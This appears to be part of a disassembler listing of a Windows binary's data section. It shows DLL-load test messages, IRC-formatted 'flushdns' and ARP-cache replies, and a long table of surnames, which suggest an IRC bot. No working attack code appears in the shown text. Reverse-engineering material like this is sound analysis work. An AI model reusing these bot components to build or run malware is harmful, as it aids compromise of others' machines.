		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aDllTestComplet	db 'DLL test complete.',0
		align 10h
aAvicap32_dllFa	db 'Avicap32.dll failed. <%d>',0 ; DATA XREF: sub_40A7CE+2CCo
		align 4
aOdbc32_dllFail	db 'Odbc32.dll failed. <%d>',0 ; DATA XREF: sub_40A7CE+298o
aShell32_dllFai	db 'Shell32.dll failed. <%d>',0 ; DATA XREF: sub_40A7CE+264o
		align 10h
aMpr32_dllFaile	db 'Mpr32.dll failed. <%d>',0 ; DATA XREF: sub_40A7CE+230o
		align 4
aIphlpapi_dllFa	db 'Iphlpapi.dll failed. <%d>',0 ; DATA XREF: sub_40A7CE+1FCo
		align 4
aDnsapi_dllFail	db 'Dnsapi.dll failed. <%d>',0 ; DATA XREF: sub_40A7CE+1C8o
aNetapi32_dllFa	db 'Netapi32.dll failed. <%d>',0 ; DATA XREF: sub_40A7CE+194o
		align 4
aIcmp_dllFailed	db 'Icmp.dll failed. <%d>',0 ; DATA XREF: sub_40A7CE+160o
		align 10h
aWininet_dllFai	db 'Wininet.dll failed. <%d>',0 ; DATA XREF: sub_40A7CE+12Co
		align 4
aWs2_32_dllFail	db 'Ws2_32.dll failed. <%d>',0 ; DATA XREF: sub_40A7CE+F8o
aGdi32_dllFaile	db 'Gdi32.dll failed. <%d>',0 ; DATA XREF: sub_40A7CE+C4o
		align 4
aAdvapi32_dllFa	db 'Advapi32.dll failed. <%d>',0 ; DATA XREF: sub_40A7CE+90o
		align 4
aUser32_dllFail	db 'User32.dll failed. <%d>',0 ; DATA XREF: sub_40A7CE+5Co
aKernel32_dllFa	db 'Kernel32.dll failed. <%d>',0 ; DATA XREF: sub_40A7CE+28o
		align 4
a_:					; DATA XREF: sub_40F96A+252o
		unicode	0, <.>,0
unk_42D4C0	db  2Dh	; -		; DATA XREF: sub_40AB31:loc_40ABF0o
		db 3, 34h, 2
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db    2
		db 3, 2Dh, 20h
aNotSupportedBy	db 'not supported by this system',0
		align 10h
unk_42D4F0	db  2Dh	; -		; DATA XREF: sub_40AB31:loc_40ABBEo
		db 3, 34h, 2
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db    2
		db 3, 2Dh, 20h
aUnableToAlloca	db 'unable to allocate ARP cache',0
		align 10h
unk_42D520	db  2Dh	; -		; DATA XREF: sub_40AB31:loc_40AB8Ao
		db 3, 34h, 2
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db    2
		db 3, 2Dh, 20h
aArpCacheIsEmpt	db 'ARP cache is empty',0
		align 4
unk_42D544	db  2Dh	; -		; DATA XREF: sub_40AB31+49o
		db 3, 34h, 2
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db    2
		db 3, 2Dh, 20h
aErrorGettingAr	db 'error getting ARP cache: %d',0
aD_D_D_D	db '%d.%d.%d.%d',0      ; DATA XREF: sub_40AC0F+46o
					; sub_40BFEB+38o
		align 10h
aReal		db 'real',0
		align 4
		dd 0
dword_42D58C	dd 0			; DATA XREF: sub_40B08D+7o
off_42D590	dd offset sub_40ACB5	; DATA XREF: sub_40B08D+49r
aConst		db 'const',0
		align 10h
		dd 1, 40AD22h, 7474656Ch, 7265h, 0
		dd 2, 40AD80h, 706D6F63h, 2 dup(0)
		dd 3, 40ADCDh, 6E756F63h, 797274h, 0
		dd 4, 40AE6Bh, 736Fh, 2	dup(0)
		dd 5, 40AEE0h
off_42D5F8	dd offset aAbdulrazak	; DATA XREF: sub_40ACB5+21r
					; "Abdulrazak"
		dd offset aAckerman	; "Ackerman"
		dd offset aAdams	; "Adams"
off_42D604	dd offset aAddison	; DATA XREF: sub_40B08D+39o
					; "Addison"
		dd offset aAdelstein	; "Adelstein"
		dd offset aAdibe	; "Adibe"
		dd offset aAdorno	; "Adorno"
		dd offset aAhlers	; "Ahlers"
		dd offset aAlavi	; "Alavi"
		dd offset aAlcorn	; "Alcorn"
		dd offset aAlda		; "Alda"
		dd offset aAleks	; "Aleks"
		dd offset aAllison	; "Allison"
		dd offset aAlongi	; "Alongi"
		dd offset aAltavilla	; "Altavilla"
		dd offset aAltenberger	; "Altenberger"
		dd offset aAltenhofen	; "Altenhofen"
		dd offset aAmaral	; "Amaral"
		dd offset aAmatangelo	; "Amatangelo"
		dd offset aAmeer	; "Ameer"
		dd offset aAmsden	; "Amsden"
		dd offset aAnand	; "Anand"
		dd offset aAndel	; "Andel"
		dd offset aAndo		; "Ando"
		dd offset aAndrelus	; "Andrelus"
		dd offset aAndron	; "Andron"
		dd offset aAnfinrud	; "Anfinrud"
		dd offset aAnsley	; "Ansley"
		dd offset aAnthony	; "Anthony"
		dd offset aAntos	; "Antos"
		dd offset aArbia	; "Arbia"
		dd offset aArduini	; "Arduini"
		dd offset aArellano	; "Arellano"
		dd offset aAristotle	; "Aristotle"
		dd offset aArjas	; "Arjas"
		dd offset aArky		; "Arky"
		dd offset aAtkins	; "Atkins"
		dd offset aAugustus	; "Augustus"
		dd offset aAurelius	; "Aurelius"
		dd offset aAxelrod	; "Axelrod"
		dd offset aAxworthy	; "Axworthy"
		dd offset aAyiemba	; "Ayiemba"
		dd offset aAykroyd	; "Aykroyd"
		dd offset aAyling	; "Ayling"
		dd offset aAzima	; "Azima"
		dd offset aBachmuth	; "Bachmuth"
		dd offset aBackus	; "Backus"
		dd offset aBady		; "Bady"
		dd offset aBaglivo	; "Baglivo"
		dd offset aBagnold	; "Bagnold"
		dd offset aBailar	; "Bailar"
		dd offset aBakanowsky	; "Bakanowsky"
		dd offset aBaleja	; "Baleja"
		dd offset aBallatori	; "Ballatori"
		dd offset aBallew	; "Ballew"
		dd offset aBaltz	; "Baltz"
		dd offset aBanta	; "Banta"
		dd offset aBarabesi	; "Barabesi"
		dd offset aBarajas	; "Barajas"
		dd offset aBaranczak	; "Baranczak"
		dd offset aBaranowska	; "Baranowska"
		dd offset aBarberi	; "Barberi"
		dd offset aBarbetti	; "Barbetti"
		dd offset aBarneson	; "Barneson"
		dd offset aBarnett	; "Barnett"
		dd offset aBarriola	; "Barriola"
		dd offset aBarry	; "Barry"
		dd offset aBartholomew	; "Bartholomew"
		dd offset aBartolome	; "Bartolome"
		dd offset aBartoo	; "Bartoo"
		dd offset aBasavappa	; "Basavappa"
		dd offset aBashevis	; "Bashevis"
		dd offset aBatchelder	; "Batchelder"
		dd offset aBaumiller	; "Baumiller"
		dd offset aBayles	; "Bayles"
		dd offset aBayo		; "Bayo"
		dd offset aBeacon	; "Beacon"
		dd offset aBeal		; "Beal"
		dd offset aBean		; "Bean"
		dd offset aBeckman	; "Beckman"
		dd offset aBeder	; "Beder"
		dd offset aBedford	; "Bedford"
		dd offset aBehenna	; "Behenna"
		dd offset aBelanger	; "Belanger"
		dd offset aBelaoussof	; "Belaoussof"
		dd offset aBelfer	; "Belfer"
		dd offset aBelinCollart	; "Belin-Collart"
		dd offset aBellavance	; "Bellavance"
		dd offset aBellhouse	; "Bellhouse"
		dd offset aBellini	; "Bellini"
		dd offset aBelloc	; "Belloc"
		dd offset aBenedictDye	; "Benedict-Dye"
		dd offset aBergson	; "Bergson"
		dd offset aBerkeJenkins	; "Berke-Jenkins"
		dd offset aBernardo	; "Bernardo"
		dd offset aBernassola	; "Bernassola"
		dd offset aBernston	; "Bernston"
		dd offset aBerrizbeitia	; "Berrizbeitia"
		dd offset aBetti	; "Betti"
		dd offset aBeynart	; "Beynart"
		dd offset aBiagioli	; "Biagioli"
		dd offset aBickel	; "Bickel"
		dd offset aBinion	; "Binion"
		dd offset aBir		; "Bir"
		dd offset aBisema	; "Bisema"
		dd offset aBisho	; "Bisho"
		dd offset aBlackbourn	; "Blackbourn"
		dd offset aBlackwell	; "Blackwell"
		dd offset aBlagg	; "Blagg"
		dd offset aBlakemore	; "Blakemore"
		dd offset aBlanke	; "Blanke"
		dd offset aBliss	; "Bliss"
		dd offset aBlizard	; "Blizard"
		dd offset aBloch	; "Bloch"
		dd offset aBloembergen	; "Bloembergen"
		dd offset aBloemhof	; "Bloemhof"
		dd offset aBloxham	; "Bloxham"
		dd offset aBlyth	; "Blyth"
		dd offset aBolger	; "Bolger"
		dd offset aBolick	; "Bolick"
		dd offset aBollinger	; "Bollinger"
		dd offset aBologna	; "Bologna"
		dd offset aBoner	; "Boner"
		dd offset aBonham	; "Bonham"
		dd offset aBoniface	; "Boniface"
		dd offset aBontempo	; "Bontempo"
		dd offset aBook		; "Book"
		dd offset aBookbinder	; "Bookbinder"
		dd offset aBoone	; "Boone"
		dd offset aBoorstin	; "Boorstin"
		dd offset aBorack	; "Borack"
		dd offset aBorden	; "Borden"
		dd offset aBossi	; "Bossi"
		dd offset aBothman	; "Bothman"
		dd offset aBotosh	; "Botosh"
		dd offset aBoudin	; "Boudin"
		dd offset aBoudrot	; "Boudrot"
		dd offset aBourneuf	; "Bourneuf"
		dd offset aBowers	; "Bowers"
		dd offset aBoxer	; "Boxer"
		dd offset aBoyajian	; "Boyajian"
		dd offset aBoyes	; "Boyes"
		dd offset aBoyland	; "Boyland"
		dd offset aBoym		; "Boym"
		dd offset aBoyne	; "Boyne"
		dd offset aBracalente	; "Bracalente"
		dd offset aBradac	; "Bradac"
		dd offset aBradach	; "Bradach"
		dd offset aBrecht	; "Brecht"
		dd offset aBreed	; "Breed"
		dd offset aBrenan	; "Brenan"
		dd offset aBrennan	; "Brennan"
		dd offset aBrewer	; "Brewer"
		dd offset aBrewer	; "Brewer"
		dd offset aBridgeman	; "Bridgeman"
		dd offset aBridges	; "Bridges"
		dd offset aBrinton	; "Brinton"
		dd offset aBritz	; "Britz"
		dd offset aBroca	; "Broca"
		dd offset aBrook	; "Brook"
		dd offset aBrzycki	; "Brzycki"
		dd offset aBuchan	; "Buchan"
		dd offset aBudding	; "Budding"
		dd offset aBullard	; "Bullard"
		dd offset aBunton	; "Bunton"
		dd offset aBurden	; "Burden"
		dd offset aBurdzy	; "Burdzy"
		dd offset aBurke	; "Burke"
		dd offset aBurridge	; "Burridge"
		dd offset aBusetta	; "Busetta"
		dd offset aByatt	; "Byatt"
		dd offset aByerly	; "Byerly"
		dd offset aByrd		; "Byrd"
		dd offset aCage		; "Cage"
		dd offset aCalnan	; "Calnan"
		dd offset aCammelli	; "Cammelli"
		dd offset aCammilleri	; "Cammilleri"
		dd offset aCanley	; "Canley"
		dd offset aCapanni	; "Capanni"
		dd offset aCaperton	; "Caperton"
		dd offset aCapocaccia	; "Capocaccia"
		dd offset aCapodilupo	; "Capodilupo"
		dd offset aCappuccio	; "Cappuccio"
		dd offset aCapursi	; "Capursi"
		dd offset aCaratozzolo	; "Caratozzolo"
		dd offset aCarayannopoulo ; "Carayannopoulos"
		dd offset aCarlin	; "Carlin"
		dd offset aCarlos	; "Carlos"
		dd offset aCarlyle	; "Carlyle"
		dd offset aCarmichael	; "Carmichael"
		dd offset aCaroti	; "Caroti"
		dd offset aCarper	; "Carper"
		dd offset aCartmill	; "Cartmill"
		dd offset aCascio	; "Cascio"
		dd offset aCase		; "Case"
		dd offset aCaspar	; "Caspar"
		dd offset aCastelda	; "Castelda"
		dd offset aCavanagh	; "Cavanagh"
		dd offset aCavell	; "Cavell"
		dd offset aCeniceros	; "Ceniceros"
		dd offset aCerioli	; "Cerioli"
		dd offset aChapman	; "Chapman"
		dd offset aCharles	; "Charles"
		dd offset aCheang	; "Cheang"
		dd offset aCherry	; "Cherry"
		dd offset aChervinsky	; "Chervinsky"
		dd offset aChiassino	; "Chiassino"
		dd offset aChien	; "Chien"
		dd offset aChildress	; "Childress"
		dd offset aChilds	; "Childs"
		dd offset aChinipardaz	; "Chinipardaz"
		dd offset aChinman	; "Chinman"
		dd offset aChristenson	; "Christenson"
		dd offset aChristian	; "Christian"
		dd offset aChristiano	; "Christiano"
		dd offset aChristie	; "Christie"
		dd offset aChristopher	; "Christopher"
		dd offset aChu		; "Chu"
		dd offset aChupasko	; "Chupasko"
		dd offset aChurch	; "Church"
		dd offset aCiampaglia	; "Ciampaglia"
		dd offset aCicero	; "Cicero"
		dd offset aCifarelli	; "Cifarelli"
		dd offset aClaffey	; "Claffey"
		dd offset aClancy	; "Clancy"
		dd offset aClark	; "Clark"
		dd offset aClement	; "Clement"
		dd offset aClifton	; "Clifton"
		dd offset aClow		; "Clow"
		dd offset aCoblenz	; "Coblenz"
		dd offset aCoito	; "Coito"
		dd offset aColdren	; "Coldren"
		dd offset aColella	; "Colella"
		dd offset aCollard	; "Collard"
		dd offset aCollis	; "Collis"
		dd offset aCompton	; "Compton"
		dd offset aCompton	; "Compton"
		dd offset aComstock	; "Comstock"
		dd offset aConcino	; "Concino"
		dd offset aCondodina	; "Condodina"
		dd offset aConnors	; "Connors"
		dd offset aCorey	; "Corey"
		dd offset aCornish	; "Cornish"
		dd offset aCosmides	; "Cosmides"
		dd offset aCounter	; "Counter"
		dd offset aCoutaux	; "Coutaux"
		dd offset aCrawford	; "Crawford"
		dd offset aCrocker	; "Crocker"
		dd offset aCroshaw	; "Croshaw"
		dd offset aCroxen	; "Croxen"
		dd offset aCroxton	; "Croxton"
		dd offset aCui		; "Cui"
		dd offset aCurrier	; "Currier"
		dd offset aCutler	; "Cutler"
		dd offset aCvek		; "Cvek"
		dd offset aCyders	; "Cyders"
		dd offset aDasilva	; "daSilva"
		dd offset aDaldalian	; "Daldalian"
		dd offset aDaly		; "Daly"
		dd offset aDAmbra	; "D'Ambra"
		dd offset aDanieli	; "Danieli"
		dd offset aDante	; "Dante"
		dd offset aDapice	; "Dapice"
		dd offset aDArcangelo	; "D'arcangelo"
		dd offset aDas		; "Das"
		dd offset aDasgupta	; "Dasgupta"
		dd offset aDaskalu	; "Daskalu"
		dd offset aDavid	; "David"
		dd offset aDawkins	; "Dawkins"
		dd offset aDegennaro	; "DeGennaro"
		dd offset aDelapena	; "DeLaPena"
		dd offset aDelEnclos	; "del'Enclos"
		dd offset aDerousse	; "deRousse"
		dd offset aDebroff	; "Debroff"
		dd offset aDees		; "Dees"
		dd offset aDefeciani	; "Defeciani"
		dd offset aDelattre	; "Delattre"
		dd offset aDeleonRendon	; "Deleon-Rendon"
		dd offset aDelger	; "Delger"
		dd offset aDellAcqua	; "Dell'acqua"
		dd offset aDeming	; "Deming"
		dd offset aDempster	; "Dempster"
		dd offset aDemusz	; "Demusz"
		dd offset aDenault	; "Denault"
		dd offset aDenham	; "Denham"
		dd offset aDenison	; "Denison"
		dd offset aDesombre	; "Desombre"
		dd offset aDeutsch	; "Deutsch"
		dd offset aDFini	; "D'fini"
		dd offset aDicks	; "Dicks"
		dd offset aDiefenbach	; "Diefenbach"
		dd offset aDifabio	; "Difabio"
		dd offset aDifronzo	; "Difronzo"
		dd offset aDilworth	; "Dilworth"
		dd offset aDionysius	; "Dionysius"
		dd offset aDirksen	; "Dirksen"
		dd offset aDockery	; "Dockery"
		dd offset aDoherty	; "Doherty"
		dd offset aDonahue	; "Donahue"
		dd offset aDonner	; "Donner"
		dd offset aDoonan	; "Doonan"
		dd offset aDore		; "Dore"
		dd offset aDorf		; "Dorf"
		dd offset aDosi		; "Dosi"
		dd offset aDoty		; "Doty"
		dd offset aDoug		; "Doug"
		dd offset aDowsland	; "Dowsland"
		dd offset aDrinker	; "Drinker"
		dd offset aDSouza	; "D'souza"
		dd offset aDuffin	; "Duffin"
		dd offset aDurrett	; "Durrett"
		dd offset aDussault	; "Dussault"
		dd offset aDwyer	; "Dwyer"
		dd offset aEardley	; "Eardley"
		dd offset aEbeling	; "Ebeling"
		dd offset aEckel	; "Eckel"
		dd offset aEdley	; "Edley"
		dd offset aEdner	; "Edner"
		dd offset aEdward	; "Edward"
		dd offset aEickenhorst	; "Eickenhorst"
		dd offset aEliasson	; "Eliasson"
		dd offset aElmendorf	; "Elmendorf"
		dd offset aElmerick	; "Elmerick"
		dd offset aElvis	; "Elvis"
		dd offset aEncinas	; "Encinas"
		dd offset aEnyeart	; "Enyeart"
		dd offset aEppling	; "Eppling"
		dd offset aErbach	; "Erbach"
		dd offset aErdman	; "Erdman"
		dd offset aErdos	; "Erdos"
		dd offset aErez		; "Erez"
		dd offset aEspinoza	; "Espinoza"
		dd offset aEstes	; "Estes"
		dd offset aEtter	; "Etter"
		dd offset aEuripides	; "Euripides"
		dd offset aEverett	; "Everett"
		dd offset aFabbris	; "Fabbris"
		dd offset aFagan	; "Fagan"
		dd offset aFaioes	; "Faioes"
		dd offset aFalcoAcosta	; "Falco-Acosta"
		dd offset aFalorsi	; "Falorsi"
		dd offset aFaris	; "Faris"
		dd offset aFarone	; "Farone"
		dd offset aFarren	; "Farren"
		dd offset aFasso	; "Fasso'"
		dd offset aFates	; "Fates"
		dd offset aFeigenbaum	; "Feigenbaum"
		dd offset aFejzo	; "Fejzo"
		dd offset aFeldman	; "Feldman"
		dd offset aFernald	; "Fernald"
		dd offset aFernandes	; "Fernandes"
		dd offset aFerrante	; "Ferrante"
		dd offset aFerriell	; "Ferriell"
		dd offset aFeuer	; "Feuer"
		dd offset aFido		; "Fido"
		dd offset aField	; "Field"
		dd offset aFink		; "Fink"
		dd offset aFinkelstein	; "Finkelstein"
		dd offset aFinnegan	; "Finnegan"
		dd offset aFiorina	; "Fiorina"
		dd offset aFisk		; "Fisk"
		dd offset aFitzmaurice	; "Fitzmaurice"
		dd offset aFlier	; "Flier"
		dd offset aFlores	; "Flores"
		dd offset aFolks	; "Folks"
		dd offset aForester	; "Forester"
		dd offset aFortes	; "Fortes"
		dd offset aFortier	; "Fortier"
		dd offset aFossey	; "Fossey"
		dd offset aFossi	; "Fossi"
		dd offset aFrancisco	; "Francisco"
		dd offset aFranklinKenea ; "Franklin-Kenea"
		dd offset aFranz	; "Franz"
		dd offset aFrazierDavis	; "Frazier-Davis"
		dd offset aFreid	; "Freid"
		dd offset aFreundlich	; "Freundlich"
		dd offset aFried	; "Fried"
		dd offset aFriedland	; "Friedland"
		dd offset aFrisken	; "Frisken"
		dd offset aFrowiss	; "Frowiss"
		dd offset aFryberger	; "Fryberger"
		dd offset aFrye		; "Frye"
		dd offset aFujiiAbe	; "Fujii-Abe"
		dd offset aFuller	; "Fuller"
		dd offset aFurth	; "Furth"
		dd offset aFusaro	; "Fusaro"
		dd offset aGabrielli	; "Gabrielli"
		dd offset aGaggiotti	; "Gaggiotti"
		dd offset aGaleotti	; "Galeotti"
		dd offset aGalwey	; "Galwey"
		dd offset aGambini	; "Gambini"
		dd offset aGarfield	; "Garfield"
		dd offset aGarman	; "Garman"
		dd offset aGaronna	; "Garonna"
		dd offset aGeller	; "Geller"
		dd offset aGemberling	; "Gemberling"
		dd offset aGeorgi	; "Georgi"
		dd offset aGerrett	; "Gerrett"
		dd offset aGhorai	; "Ghorai"
		dd offset aGibbens	; "Gibbens"
		dd offset aGibson	; "Gibson"
		dd offset aGilbert	; "Gilbert"
		dd offset aGili		; "Gili"
		dd offset aGill		; "Gill"
		dd offset aGillispie	; "Gillispie"
		dd offset aGist		; "Gist"
		dd offset aGleason	; "Gleason"
		dd offset aGlegg	; "Glegg"
		dd offset aGlendon	; "Glendon"
		dd offset aGoldfarb	; "Goldfarb"
		dd offset aGoncalves	; "Goncalves"
		dd offset aGood		; "Good"
		dd offset aGoodearl	; "Goodearl"
		dd offset aGoody	; "Goody"
		dd offset aGozzi	; "Gozzi"
		dd offset aGravell	; "Gravell"
		dd offset aGreenberg	; "Greenberg"
		dd offset aGreenfeld	; "Greenfeld"
		dd offset aGriffiths	; "Griffiths"
		dd offset aGrigoletto	; "Grigoletto"
		dd offset aGrummell	; "Grummell"
		dd offset aGruner	; "Gruner"
		dd offset aGruppe	; "Gruppe"
		dd offset aGuenthart	; "Guenthart"
		dd offset aGunn		; "Gunn"
		dd offset aGuo		; "Guo"
		dd offset aHa		; "Ha"
		dd offset aHaar		; "Haar"
		dd offset aHackman	; "Hackman"
		dd offset aHackshaw	; "Hackshaw"
		dd offset aHaley	; "Haley"
		dd offset aHalkias	; "Halkias"
		dd offset aHallowell	; "Hallowell"
		dd offset aHalpert	; "Halpert"
		dd offset aHambarzumjan	; "Hambarzumjan"
		dd offset aHamer	; "Hamer"
		dd offset aHammerness	; "Hammerness"
		dd offset aHand		; "Hand"
		dd offset aHanssen	; "Hanssen"
		dd offset aHarding	; "Harding"
		dd offset aHargraves	; "Hargraves"
		dd offset aHarlow	; "Harlow"
		dd offset aHarrigan	; "Harrigan"
		dd offset aHartman	; "Hartman"
		dd offset aHartmann	; "Hartmann"
		dd offset aHartnett	; "Hartnett"
		dd offset aHarwell	; "Harwell"
		dd offset aHaviaras	; "Haviaras"
		dd offset aHawkes	; "Hawkes"
		dd offset aHayes	; "Hayes"
		dd offset aHaynes	; "Haynes"
		dd offset aHazlewood	; "Hazlewood"
		dd offset aHeermans	; "Heermans"
		dd offset aHeft		; "Heft"
		dd offset aHeiland	; "Heiland"
		dd offset aHellman	; "Hellman"
		dd offset aHellmiss	; "Hellmiss"
		dd offset aHelprin	; "Helprin"
		dd offset aHemphill	; "Hemphill"
		dd offset aHenery	; "Henery"
		dd offset aHenrichs	; "Henrichs"
		dd offset aHernandez	; "Hernandez"
		dd offset aHerrera	; "Herrera"
		dd offset aHester	; "Hester"
		dd offset aHeubert	; "Heubert"
		dd offset aHeyeck	; "Heyeck"
		dd offset aHimmelfarb	; "Himmelfarb"
		dd offset aHind		; "Hind"
		dd offset aHirst	; "Hirst"
		dd offset aHitchcock	; "Hitchcock"
		dd offset aHoang	; "Hoang"
		dd offset aHock		; "Hock"
		dd offset aHoffer	; "Hoffer"
		dd offset aHoffman	; "Hoffman"
		dd offset aHokanson	; "Hokanson"
		dd offset aHokoda	; "Hokoda"
		dd offset aHolmes	; "Holmes"
		dd offset aHoloien	; "Holoien"
		dd offset aHolter	; "Holter"
		dd offset aHolway	; "Holway"
		dd offset aHolzman	; "Holzman"
		dd offset aHooker	; "Hooker"
		dd offset aHopkins	; "Hopkins"
		dd offset aHorsley	; "Horsley"
		dd offset aHoshida	; "Hoshida"
		dd offset aHostage	; "Hostage"
		dd offset aHottle	; "Hottle"
		dd offset aHoward	; "Howard"
		dd offset aHoy		; "Hoy"
		dd offset aHuey		; "Huey"
		dd offset aHuidekoper	; "Huidekoper"
		dd offset aHungerford	; "Hungerford"
		dd offset aHuntington	; "Huntington"
		dd offset aHupp		; "Hupp"
		dd offset aHurtubise	; "Hurtubise"
		dd offset aHutchings	; "Hutchings"
		dd offset aHyde		; "Hyde"
		dd offset aIaquinta	; "Iaquinta"
		dd offset aIchikawa	; "Ichikawa"
		dd offset aIgarashi	; "Igarashi"
		dd offset aInamura	; "Inamura"
		dd offset aInniss	; "Inniss"
		dd offset aIsaac	; "Isaac"
		dd offset aIsaievych	; "Isaievych"
		dd offset aIsbill	; "Isbill"
		dd offset aIsserman	; "Isserman"
		dd offset aIyer		; "Iyer"
		dd offset aJacenko	; "Jacenko"
		dd offset aJackson	; "Jackson"
		dd offset aJagers	; "Jagers"
		dd offset aJagger	; "Jagger"
		dd offset aJagoe	; "Jagoe"
		dd offset aJain		; "Jain"
		dd offset aJamil	; "Jamil"
		dd offset aJanjigian	; "Janjigian"
		dd offset aJarnagin	; "Jarnagin"
		dd offset aJarrell	; "Jarrell"
		dd offset aJay		; "Jay"
		dd offset aJeffers	; "Jeffers"
		dd offset aJellis	; "Jellis"
		dd offset aJenkins	; "Jenkins"
		dd offset aJespersen	; "Jespersen"
		dd offset aJewett	; "Jewett"
		dd offset aJohannesson	; "Johannesson"
		dd offset aJohannsen	; "Johannsen"
		dd offset aJohns	; "Johns"
		dd offset aJolly	; "Jolly"
		dd offset aJorgensen	; "Jorgensen"
		dd offset aJucks	; "Jucks"
		dd offset aJuliano	; "Juliano"
		dd offset aJulious	; "Julious"
		dd offset aKabbash	; "Kabbash"
		dd offset aKaboolian	; "Kaboolian"
		dd offset aKafadar	; "Kafadar"
		dd offset aKalbfleisch	; "Kalbfleisch"
		dd offset aKaligian	; "Kaligian"
		dd offset aKalil	; "Kalil"
		dd offset aKalinowski	; "Kalinowski"
		dd offset aKalman	; "Kalman"
		dd offset aKamel	; "Kamel"
		dd offset aKangis	; "Kangis"
		dd offset aKarpouzes	; "Karpouzes"
		dd offset aKassower	; "Kassower"
		dd offset aKasten	; "Kasten"
		dd offset aKawachi	; "Kawachi"
		dd offset aKee		; "Kee"
		dd offset aKeenan	; "Keenan"
		dd offset aKeepper	; "Keepper"
		dd offset aKeith	; "Keith"
		dd offset aKelker	; "Kelker"
		dd offset aKelsey	; "Kelsey"
		dd offset aKempton	; "Kempton"
		dd offset aKemsley	; "Kemsley"
		dd offset aKendall	; "Kendall"
		dd offset aKerry	; "Kerry"
		dd offset aKeul		; "Keul"
		dd offset aKhong	; "Khong"
		dd offset aKimmel	; "Kimmel"
		dd offset aKimmett	; "Kimmett"
		dd offset aKimura	; "Kimura"
		dd offset aKindall	; "Kindall"
		dd offset aKinsley	; "Kinsley"
		dd offset aKippenberger	; "Kippenberger"
		dd offset aKirscht	; "Kirscht"
		dd offset aKittridge	; "Kittridge"
		dd offset aKleckner	; "Kleckner"
		dd offset aKleiman	; "Kleiman"
		dd offset aKleinfelder	; "Kleinfelder"
		dd offset aKlemperer	; "Klemperer"
		dd offset aKling	; "Kling"
		dd offset aKlinkenborg	; "Klinkenborg"
		dd offset aKlint	; "Klint"
		dd offset aKnuff	; "Knuff"
		dd offset aKobrick	; "Kobrick"
		dd offset aKoch		; "Koch"
		dd offset aKohn		; "Kohn"
		dd offset aKoivumaki	; "Koivumaki"
		dd offset aKommer	; "Kommer"
		dd offset aKoniaris	; "Koniaris"
		dd offset aKonrad	; "Konrad"
		dd offset aKool		; "Kool"
		dd offset aKorzybski	; "Korzybski"
		dd offset aKotter	; "Kotter"
		dd offset aKovaks	; "Kovaks"
		dd offset aKraemer	; "Kraemer"
		dd offset aKrailo	; "Krailo"
		dd offset aKrasney	; "Krasney"
		dd offset aKraus	; "Kraus"
		dd offset aKroemer	; "Kroemer"
		dd offset aKrysiak	; "Krysiak"
		dd offset aKuenzli	; "Kuenzli"
		dd offset aKumar	; "Kumar"
		dd offset aKusman	; "Kusman"
		dd offset aKuwabara	; "Kuwabara"
		dd offset aLa		; "La"
		dd offset aLabunka	; "Labunka"
		dd offset aLafler	; "Lafler"
		dd offset aLaing	; "Laing"
		dd offset aLallemant	; "Lallemant"
		dd offset aLandes	; "Landes"
		dd offset aLankes	; "Lankes"
		dd offset aLantieri	; "Lantieri"
		dd offset aLanzit	; "Lanzit"
		dd offset aLaserna	; "Laserna"
		dd offset aLashley	; "Lashley"
		dd offset aLawless	; "Lawless"
		dd offset aLecar	; "Lecar"
		dd offset aLecce	; "Lecce"
		dd offset aLeclercq	; "Leclercq"
		dd offset aLeite	; "Leite"
		dd offset aLenard	; "Lenard"
		dd offset aLEnclos	; "l'Enclos"
		dd offset aLesser	; "Lesser"
		dd offset aLessi	; "Lessi"
		dd offset aLiakos	; "Liakos"
		dd offset aLidano	; "Lidano"
		dd offset aLiem		; "Liem"
		dd offset aLight	; "Light"
		dd offset aLightfoot	; "Lightfoot"
		dd offset aLim		; "Lim"
		dd offset aLinares	; "Linares"
		dd offset aLinda	; "Linda"
		dd offset aLinder	; "Linder"
		dd offset aLine		; "Line"
		dd offset aLinehan	; "Linehan"
		dd offset aLinzee	; "Linzee"
		dd offset aLippmann	; "Lippmann"
		dd offset aLipponen	; "Lipponen"
		dd offset aLittle	; "Little"
		dd offset aLitvak	; "Litvak"
		dd offset aLivernash	; "Livernash"
		dd offset aLivi		; "Livi"
		dd offset aLivolsi	; "Livolsi"
		dd offset aLizardo	; "Lizardo"
		dd offset aLocatelli	; "Locatelli"
		dd offset aLongworth	; "Longworth"
		dd offset aLoss		; "Loss"
		dd offset aLoveman	; "Loveman"
		dd offset aLowenstein	; "Lowenstein"
		dd offset aLoza		; "Loza"
		dd offset aLubin	; "Lubin"
		dd offset aLucas	; "Lucas"
		dd offset aLuciano	; "Luciano"
		dd offset aLuczkow	; "Luczkow"
		dd offset aLuecke	; "Luecke"
		dd offset aLunetta	; "Lunetta"
		dd offset aLuoma	; "Luoma"
		dd offset aLussier	; "Lussier"
		dd offset aLutcavage	; "Lutcavage"
		dd offset aLuzader	; "Luzader"
		dd offset aMa		; "Ma"
		dd offset aMaccormac	; "Maccormac"
		dd offset aMacdonald	; "Macdonald"
		dd offset aMaceachern	; "Maceachern"
		dd offset aMacintyre	; "Macintyre"
		dd offset aMackenney	; "Mackenney"
		dd offset aMacmillan	; "MacMillan"
		dd offset aMacy		; "Macy"
		dd offset aMadigan	; "Madigan"
		dd offset aMaggio	; "Maggio"
		dd offset aMahony	; "Mahony"
		dd offset aMaier	; "Maier"
		dd offset aMaineHershey	; "Maine-Hershey"
		dd offset aMaisano	; "Maisano"
		dd offset aMalatesta	; "Malatesta"
		dd offset aMaller	; "Maller"
		dd offset aMalova	; "Malova"
		dd offset aManalis	; "Manalis"
		dd offset aMandel	; "Mandel"
		dd offset aManganiello	; "Manganiello"
		dd offset aMantovan	; "Mantovan"
		dd offset aMarch	; "March"
		dd offset aMarchbanks	; "Marchbanks"
		dd offset aMarcus	; "Marcus"
		dd offset aMargalit	; "Margalit"
		dd offset aMargetts	; "Margetts"
		dd offset aMarques	; "Marques"
		dd offset aMartinez	; "Martinez"
		dd offset aMartochio	; "Martochio"
		dd offset aMarton	; "Marton"
		dd offset aMarubini	; "Marubini"
		dd offset aMass		; "Mass"
		dd offset aMatalka	; "Matalka"
		dd offset aMatarazzo	; "Matarazzo"
